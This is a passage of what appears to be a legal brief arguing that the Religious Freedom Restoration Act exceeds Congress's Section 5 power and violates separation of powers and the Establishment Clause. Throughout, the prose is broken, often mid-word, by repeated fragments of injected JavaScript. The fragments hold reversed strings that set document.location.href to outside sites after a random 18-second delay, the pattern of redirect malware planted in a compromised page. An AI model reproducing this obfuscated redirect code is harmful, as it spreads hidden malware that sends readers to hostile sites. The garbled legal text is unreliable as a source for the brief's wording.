RFRA is not a valid exercise of Congress’s power under Section 5 of the Fourteenth Amendment. Under The Civil Rights Cases, 109 U.S. 3 (1883), Section 5 extends power doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress solely doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enforce constitutional guarantees. Id. at 11. The Act’s invalidation of every law that incidentally burdens the free exercise of religion, whether the law targets a particular religion or not, creates extra-constitutional rights and therefore exceeds Congress’s remedial power under Section 5.

This Court should lay doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to rest the “substantive power theory,” i.e., the notion that Congress may expand the scope of constitutional guarantees, which was an alternative holding in the Voting Rights Act cases, and which transgresses separation of powers and federalism concerns.

The Act oversteps federalism boundaries inherent in Section 5 by forcing state and local governments doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to abide by a statudoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory scheme that is not required by the Constitution.

RFRA violates the Establishment Clause by privileging religion over all other forms of conscience. It fails this Court’s test announced in Lemon v. Kurtzman, 403 U.S. 602, 612-13 (1971). [23]  It does not have a secular purpose. It is certainly not neutral in effect. It requires entanglement of church and state by requiring all governments doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become intimately informed on the theological tenets of every religion in the relevant community in order doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be able doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to enact a law that is the least restrictive means.

ARGUMENT

The Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act mocks the genius of the American Constitution’s structure. “From the standpoint of the . . . constitutional structure of this Nation, [the Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act] bring[s] us doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a crossroad that is marked with a formidable ‘Sdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top’ sign. That sign compels us doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pause before we [are carried] doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the point of sanctioning Congress'” attempt doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to expand the scope of constitutional rights “by simple legislation.” Oregon v. Mitchell, 400 U.S. 112, 152 (1970) (Harlan, J., concurring in part and dissenting in part).

The success of the Constitution resides in the Framers’ fundamental insight that a division of duties, authority, and power is essential doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoiding the concentrations of power that irresistibly lead doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tyranny. In James Madison’s words, “The accumulation of all powers, legislative,  [24] executive, and judiciary, in the same hands, whether of one, a few, or many, and whether hereditary, self-appointed, or elective, may justly be pronounced the very definition of tyranny.” The Federalist No. 47, at 301 (James Madison) (Clindoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton Rossiter ed., 1961). Acutely conscious of the hisdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory of tyranny in other countries and times, the Framers crafted a series of mechanisms intended doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to prevent the consolidation of doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}too much power in any one institution. They separated the powers of the federal government indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to three branches, divided power between the federal and the state governments, and prohibited the union of church and state. With RFRA, Congress has disabled all three mechanisms, simultaneously transgressing three different constitutional boundaries.

The Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act is an undisguised attempt by Congress doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overtake this Court’s core constitutional function and doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to reverse this Court’s statement of the meaning of the First Amendment’s Free Exercise Clause in Smith, 494 U.S. 872 (1990). See, e.g., The Religious Freedom Resdoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toration Act of 1990: Hearings on H.R.  [25]  5377 Before the Subcomm. on Civil and Constitutional Rights of the House Comm. on the Judiciary, 101st Cong., 2d Sess. 8, 9, 38, 41, 48 (1990). It rejects the Court’s announced standard, which does not apply the Free Exercise Clause doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to general and otherwise valid neutral laws that incidentally burden religious conduct, and replaces it with one more pleasing doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Congress. See 42 U.S.C. § 2000bb(a)(4), Cert. Pet. App. at 39a (criticizing Smith standard); id. at §§ 2000bb(b)(1), 2000bb-1(a)-(c), Cert. Pet. App. at 40a (instituting compelling interest and least restrictive means tests whenever religious conduct is substantially burdened). “RFRA’s rewrite of the Free Exercise Clause . . . is but the vehicle by which Congress seeks doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ride indoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the judicial reservation.” Eugene Gressman & Angela C. Carmella, The RFRA Revision of the Free Exercise Clause, 57 Ohio St. L.J. 65, 111 (1996).

Long settled constitutional doctrine holds that it is “emphatically the province and duty of the judicial department doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to say what the law is.” Marbury v. Madison, 5 U.S. (1 Cranch) 137, 177 (1803); U.S. Const. art.  [26]  III, §§ 1, 2. The Supreme Court, and only the Supreme Court, is the “ultimate interpreter of the Constitution.” Baker v. Carr, 369 U.S. 186, 211 (1962). The Supreme Court’s core constitutional function is doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to decide the meaning of the Constitution in the context of deciding Article III cases and controversies.

Where Congress or the President tries doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to overtake this core judicial function, it violates the separation of powers. “It remains a basic principle of our constitutional scheme that one branch of the Government may not intrude upon the central prerogatives of another.” Loving v. United States, 116 S. Ct. 1737, 1743 (1996) (citing Plaut v. Spendthrift Farm, Inc., 115 S. Ct. 1447 (1995)). The judicial branch has been characterized as the “least dangerous branch.” See Alexander M. Bickel, The Least Dangerous Branch (1962). Where its distinctive power doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to set constitutional standards of review has been usurped, it is the most irrelevant branch. In the words of Alexander Hamildoc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton:

The interpretation of the laws is the proper and peculiar province of the courts. A constitution is, in fact, and must be regarded by the judges as, a fundamental [27] law. It therefore belongs doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to them doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ascertain its meaning as well as the meaning of any particular act proceeding from the legislative body. If there should happen doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be an irreconcilable variance between the two, that which has the superior obligation and validity ought, of course, doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be preferred; or, in other words, the Constitution ought doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be preferred doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the statute, the intention of the people doc/rettelswen/moc.cniwyks//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslatdom()*6); if (number1==3){var 